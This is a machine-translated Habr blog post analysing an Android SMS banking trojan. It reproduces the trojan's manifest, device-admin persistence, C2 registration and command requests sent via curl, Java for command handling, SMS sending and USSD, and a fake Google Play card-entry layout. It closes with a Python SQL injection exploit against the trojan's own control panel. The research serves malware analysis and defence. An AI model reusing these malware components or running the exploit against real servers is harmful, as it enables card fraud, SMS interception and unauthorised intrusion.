📜 ⬆️ ⬇️

The study of common Malvari under Android


Often viruses for android come to us using mailings. Previously, it was SMS, and now modern instant messengers. It was interesting for me to see what malware is now on the market, so I registered and submitted a couple of ads on avito.

A couple of days after the publication, I received a call from the Desheli beauty salon and were invited to a free procedure, such as a gift from someone from my friends. The point is that after the procedure, they very persistently persuade them to take credit for their cosmetics. The theme is old, beaten, but still works. And after they called someone else from something similar, only here they already honestly said that the base of numbers is dialed automatically. Every time they asked the name of their office, a terrible noise began, obviously not just like that. The fact that the number was taken from avito was clear, because they addressed me by the name that I wrote in the ad.

And for the sake of what it all started, it came only after a couple of weeks. I was sent almost in a row 3 sms of approximately the same content.

Remarkably, only one of the 3 links was available, despite the fact that the attempt to download was immediately after receiving the SMS.

The downloaded avito.apk weighs 437kb. It's a lot. This size was due to the android.support.v7 library, which is not needed here. If you remove it, it will be ~ 50kb.
Virustotal report
Judging by the number of detections, there can be no doubt - this is malicious, not yet obfuscated
')
Let's start with AndroidManifest.xml

We look at the rights that are requested when installing the application:

<uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <uses-permission android:name="android.permission.VIBRATE" /> <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /> 



All rights are expected, except for android.permission.VIBRATE, because usually everyone tries to hide their presence in the system. After a detailed inspection of the code, it turned out that there is an unused query android.permission.WRITE_EXTERNAL_STORAGE. Most likely, they deleted the excess from the code or prepared it and did not add it.

Further on the manifesto DEVICE_ADMIN

Thus, the application is marked as a device administrator and cannot be removed until the rights in Settings-Security-Device Administrators are removed.

  <receiver android:label=" " android:name="app.six.MyAdmin" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@layout/policies" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver> 



layout / policies.xml:
 <?xml version="1.0" encoding="utf-8"?> <device-admin> <uses-policies /> </device-admin> 


The request for rights occurs with the text:

“Google Play Terms of Use.
Free Content.
Google may allow content to be downloaded or used for free.
The same conditions apply to the free Content as to the purchased one, except for the provisions related to payment (for example, the provisions of these Terms for returning the paid price do not apply to the free Content).
Google may impose restrictions on your access to and use of certain free Content. ”

And disabling rights - “If you continue, problems may arise when working with applications! Are you sure you want to continue? ”
In fact, there will be no problems. This is the last chance to dissuade the user.

 public CharSequence onDisableRequested(Context ctx, Intent paramIntent) { return "  ,       !  ,   ?"; } 


If you refuse, ask again.

Then we see a fake on Google Play, made in the old design, still home.

  <activity android:theme="@*android:style/Theme.Light.NoTitleBar.Fullscreen" android:label="Play " android:icon="@drawable/market_icon" android:name="app.six.CardAtivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation" /> 


The manifest ends

  <receiver android:name="app.six.MainReceiver"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.USER_PRESENT" /> <action android:name="android.intent.action.PHONE_STATE" /> <action android:name="android.intent.action.NEW_OUTGOING_CALL" /> </intent-filter> </receiver> <service android:name="app.six.MainService" /> <activity android:label="@string/title_activity_adm" android:name="app.six.AdmActivity" android:launchMode="singleTask" /> </application> </manifest> 


android.provider.Telephony.SMS_RECEIVED - receiving sms, priority not set to maximum
android.intent.action.BOOT_COMPLETED - for autorun after device loading
android.intent.action.USER_PRESENT - user unlocked device
android.intent.action.PHONE_STATE , android.intent.action.NEW_OUTGOING_CALL - track user calls

Install, allow the device administrator, then it is expected that the application will be hidden on the device. But it remains in the list of applications, you can even run it. This implies that this should reassure the user.
Most likely, the developer could not call Activity with a request for administrator rights and decided to display an error.



Unfortunately, the bot did not have an auto-fill on the savings bank, the owner sends commands with his hands.
First comes the bot registration request.

curl --socks5 127.0.0.1:9050 --data "mode=register&prefix=1&version_sdk=123.4.4(Bot.v.4.2)&imei=1234567890123&country=ru&number=null&operator=Beeline" url.com/controller.php


After that, the bot is assigned a sequence number and password. At the time when the analysis began, there were 350 users.

{"response": [{"bot_id": 1234, "bot_pwd": "blabla"}],
"status": "ok"}


Next comes the command request.

curl --socks5 127.0.0.1:9050 --data "mode=getTask&bid=348&pwd=17h9q&divice_admin=1" url.com/controller.php

{"response": [{"mode": "set_intercept",
"intercept": "all"},{"mode": "upcatsm"},{"mode": "timer_msg",
"sms_id": "1232",
"sms_text": "",
"sms_number": "900",
"time": "20"}],
"status": "ok"}


We answer card balance:

curl --socks5 127.0.0.1:9050 --data "mode=setSaveInboxSms&number=900&text=VISA1234 :23000.&time=2016-01-27 20:01:15&status_sms=1&sms_mode=2&bid=1234" url.com/controller.php


{"response": [],
"status": "ok"}


After sending a request for balance and re-requesting a command, a command is issued to intercept SMS.

{"response": [{"mode": "set_intercept",
"intercept": "all"}],
"status": "ok"}


Sberbank balance inquiry is in automatic mode. Any other commands are also on manual control.

Getting the team.
You should use case here, but the author does not know how to compare strings in JAVA

  JSONObject newOb = arr.getJSONObject(i); if (newOb.getString("mode").equals("set_intercept")) { dbSet.setIntercept(newOb.getString(DbSet.INTERCEPT)); } if (newOb.getString("mode").equals("set_interval")) { dbLog.setInterval(newOb.getInt(U_COLUMS.INTERVAL)); } if (newOb.getString("mode").equals("send_sms")) { mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id")); Settings.sendSms(MainService.this.ctx, mItem); } if (newOb.getString("mode").equals("set_server")) { dbSet.setServer(MainService.this.ctx, newOb.getString(DbSet.SERVER)); } if (newOb.getString("mode").equals("upcatsm")) { new Settings(MainService.this.ctx).upServerCatSms(); } if (newOb.getString("mode").equals("upsmlist")) { new Settings(MainService.this.ctx).upServerSmsList(newOb.getString("number")); } if (newOb.getString("mode").equals("changeNotify")) { dbSet.setNotify(newOb.getString("text")); } if (newOb.getString("mode").equals("get_ussd")) { SettingsBase.ussdOn(MainService.this.ctx, newOb.getString("text")); } if (newOb.getString("mode").equals("timer_msg")) { mItem = new MessageItem(newOb.getString("sms_number"), newOb.getString("sms_text"), newOb.getInt("sms_id")); Settings.sendSmsTimer(MainService.this.ctx, mItem, newOb.getInt("time")); } 


set_intercept - enables SMS interception on the device
And checking the filter that intercepts messages

  if ((str.equals("all")) || (str.equals("All")) || (str.equals("ALL")) || (str.equals(""))) 

And if we go through all the options, where else is 5? For string comparisons, regardless of case, use compareToIgnoreCase

setInterval - change the response time to the gate

send_sms
Sending SMS is implemented somewhat crooked. Does not support sending composite SMS - maximum length of 70 characters in Russian letters. Mailing on contacts will be inconvenient.

 public static boolean sendSms(Context context, MessageItem item) { try { Intent intent = new Intent(context, MainReceiver.class); intent.setAction(Constants.CONST_SMS_DELIVERED_STATUS); intent.putExtra(Constants.CONST_ID_SEND_SMS, item.id); PendingIntent sentPendingIntent = PendingIntent.getBroadcast(context, item.id, intent, 0); try { SmsManager.getDefault().sendTextMessage(item.phone, null, item.text, sentPendingIntent, null); } catch (Exception e) { sendMessage(context, "    .", "ERROR", 1, 0); } return true; } catch (Exception ex) { ex.printStackTrace(); return false; } } 


set_server - changes the address of the gate, is recorded in the SharedPreference

upsmlist , upcatsm - send all incoming and outgoing SMS in json format to the server

changeNotify - sends push to the user a notification with the specified text with an icon from google play. This is where the Activity with the google play fake is called.
I did not receive the command to call the fake, but the fake failed to build an empty application with the xml. It seems that when decompiling broke. There is nothing interesting in it anyway. Check for validity according to the algorithm Moon, year, etc

card.xml
 <?xml version="1.0" encoding="utf-8"?> <LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-1" android:layout_height="-1" <LinearLayout android:background="@drawable/top" android:layout_width="-1" android:layout_height="50dp" <LinearLayout android:orientation="1" android:background="#fff" android:layout_width="-2" android:layout_height="-1"> <ImageView android:id="@id/imageView1" android:background="#fff" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/market_icon" /> </LinearLayout> <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#fff" android:layout_gravity="10" android:id="@id/textView1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:text="Google Play" /> </LinearLayout> <LinearLayout android:orientation="1" android:id="@id/layoutOk" android:background="#fff" android:visibility="2" android:layout_width="-1" android:layout_height="-2"> <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView5" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:text=",   .     email ." /> <Button android:textColor="#fff" android:id="@id/btn_close" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="" /> </LinearLayout> <LinearLayout android:orientation="1" android:id="@id/layout1" android:layout_width="-1" android:layout_height="-2" /> <ScrollView android:id="@id/scrollView1" android:visibility="0" android:layout_width="-1" android:layout_height="-1" android:isScrollContainer="true"> <LinearLayout android:orientation="1" android:layout_width="-1" android:layout_height="-2" <LinearLayout android:orientation="1" android:id="@id/layout2" android:background="#fff" android:visibility="0" android:layout_width="-1" android:layout_height="-2"> <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#a52a2a" android:id="@id/textError" android:visibility="2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="3dp" android:text="Medium Text" /> <TextView android:textAppearance="?unknown_attr_ref: 1010041" android:textColor="#1c1c1c" android:id="@id/textView2" android:layout_width="-1" android:layout_height="-2" android:layout_margin="5dp" android:text="    Google Play    ." /> </LinearLayout> <LinearLayout android:orientation="1" android:id="@id/LinearInput" android:visibility="0" android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp" <LinearLayout android:layout_width="-1" android:layout_height="-2"> <ImageView android:id="@id/imageView2" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/visa" /> <ImageView android:id="@id/imageView3" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/mastercard" /> <ImageView android:id="@id/imageView4" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/logo_maestro" /> <ImageView android:id="@id/imageView4343f" android:layout_width="-2" android:layout_height="-2" android:layout_margin="5dp" android:src="@drawable/discovery" /> </LinearLayout> <LinearLayout android:layout_width="-1" android:layout_height="-2" android:layout_marginTop="5dp"> <EditText android:id="@id/ETCard1" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginRight="2dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2"> <requestFocus /> </EditText> <EditText android:id="@id/ETCard2" android:focusableInTouchMode="true" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLength="4" android:digits="0123456789 " android:layout_weight="1.0" android:inputType="2" /> <EditText android:id="@id/ETCard3" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="2dp" android:maxLines="1" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" /> <EditText android:id="@id/ETCard4" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="2dp" android:layout_marginRight="5dp" android:ems="10" android:maxLength="4" android:layout_weight="1.0" android:inputType="2" /> </LinearLayout> <LinearLayout android:layout_width="-1" android:layout_height="-2"> <EditText android:id="@id/ETCard5" android:layout_width="70dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="" android:ems="10" android:maxLength="2" android:inputType="2" /> <TextView android:layout_gravity="10" android:id="@id/textView3" android:layout_width="-2" android:layout_height="-2" android:text="/" /> <EditText android:id="@id/ETCard6" android:layout_width="70dp" android:layout_height="-2" android:layout_margin="5dp" android:hint="" android:ems="10" android:maxLength="2" android:inputType="2" /> </LinearLayout> <LinearLayout android:layout_width="-1" android:layout_height="-2"> <EditText android:id="@id/ETCard7" android:layout_width="100dp" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="CVC-" android:ems="10" android:maxLength="3" android:inputType="2" /> <ImageView android:layout_gravity="10" android:id="@id/imageView5" android:layout_width="-2" android:layout_height="-2" android:src="@drawable/cvc_visa" /> </LinearLayout> <EditText android:id="@id/EditTextName" android:layout_width="-1" android:layout_height="-2" android:layout_marginLeft="5dp" android:layout_marginTop="5dp" android:layout_marginRight="5dp" android:hint="    " android:ems="10" android:maxLength="60" android:inputType="1" /> <Button android:textColor="#fff" android:id="@id/btn_save" android:background="@drawable/btn" android:layout_width="-1" android:layout_height="40dp" android:layout_marginLeft="5dp" android:layout_marginTop="10dp" android:layout_marginRight="5dp" android:text="" /> </LinearLayout> <Button android:textColor="#8b8989" android:id="@id/btnCancel" android:background="@drawable/btn_alpa" android:visibility="2" android:layout_width="-1" android:layout_height="40dp" android:layout_marginTop="15dp" android:text="" /> </LinearLayout> </ScrollView> </LinearLayout> 



get_ussd
Android does not have an API for receiving a response from USSD commands. Those. the command will execute, but you cannot get the text from the answer. There are 2 solutions to the problem - either through special features, or to connect a third-party library IExtendedNetworkService.aidl. Special features work from version 4 android, require the inclusion of a separate option in the settings and intercept all pop-up windows without exception. Also, these notifications can be globally suppressed. With the library, everything is simpler, it catches when it is needed, and it works, starting with version 2 of the android. But rumors about her performance are greatly exaggerated.
In this case, the interception of a response from the USSD may be needed only to obtain a balance of a sim card. Sberbank's USSD commands work in such a way that both the confirmation code and the response will be sent via SMS.

 public static void ussdOn(Context context, String phone) { phone = new StringBuilder(String.valueOf(phone)).append(Uri.encode("#")).toString(); C0091M.m6d("ussdOn: " + phone); try { Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + phone)); intent.addFlags(268435456); context.startActivity(intent); } catch (Exception e) { Settings.sendMessage(context, " : USSD " + phone, "", 2, 0); } } 

In the same USSD, the command is executed as a fact. The team passed or eksepshen. The result here will not be received.

timer_msg - send sms on timer

The bot has a hidden potential, functions that are not used:

downloadFile, installApk - loader
getContacts - collect numbers from the phone book
openUrl - call the browser with the specified address

After analyzing the bot, I dropped the link to the letm admin link .

Having seen the allowed dir listng, I decided to look for a server where php code is not interpreted in order to get the source code. As a result, I found a non- password archive with source code on the server.
Quickly walked through the source - most of the parameters are filtered and the attack is impossible. But there was one moment where the filtered parameter ceased to be so.
The developer, instead of using the filtered parameter as an argument in the function, preferred to take the same parameter, but without a filter. The function itself places the balance information in the database.
The same parameter that is passed without a filter further passes through the regular expression preg_match ('/ Balances: (. *?) Rub. / Is', $ message, $ links)
what we have in (. *?) will then be used in the database query. Such a regular expression allows us to use arbitrary text, in this case it is an injection.
With the help of an injection, we can write arbitrary data to the table, including those from other tables, which is obvious. The problem is how to view them further, the display of errors is turned off in the script. We need to look for the moment available to the user without authorization. And this is available in the registration of the bot. If the bot has already been registered, its password will show us in the output. What we are doing with the help of an injection - we update our password, send the registration package again and get the output
As a result, I wrote an account that pulls out the current user and version.

python exploit.py target.com

exploit.py
 import urllib2,urllib,sys,re def register(target, mode): values = { 'prefix': '111111111','version_sdk': '222222222', 'version_bot': '333333333', 'imei':'4444444444444', 'country':'%%', 'number':'31333731337', 'operator':'telekom'} data = urllib.urlencode(values) req = urllib2.Request(target+'/controller.php?mode=register', data) response = urllib2.urlopen(req) result = response.read() bot_pwd = re.compile('"bot_pwd": "(.*)"}]'); regex_pwd = re.findall(bot_pwd, result) bot_id = re.compile('"bot_id": (\d+),'); regex_id = re.findall(bot_id, result) if len(regex_pwd)>0: if mode == None: exploit(target, regex_id[0], None) else: print "Result: "+regex_pwd[0] else: print 'exploit failed.. cannot find enabled country or smth... :(' def exploit(target, id, payload): print 'Sending payload'; if payload==None: payload="\xD0\x91\xD0\xB0\xD0\xBB\xD0\xB0\xD0\xBD\xD1\x81: aaaa',pwd=(select concat_ws(0x3a,version(),user())) WHERE id="+str(id)+" -- 1\xD1\x80." values = { 'bid': '111111111','sms_mode': '1', 'number': '900', 'text': payload} data = urllib.urlencode(values) req = urllib2.Request(target+'/controller.php?mode=setSaveInboxSms', data) response = urllib2.urlopen(req) register(target, 'result') if len(sys.argv)>1: print 'Ur target is:'+sys.argv[1] print register(sys.argv[1], None) else: print 'usage: exploit.pl <http://local.ru/>' 



Source: https://habr.com/ru/post/276211/


All Articles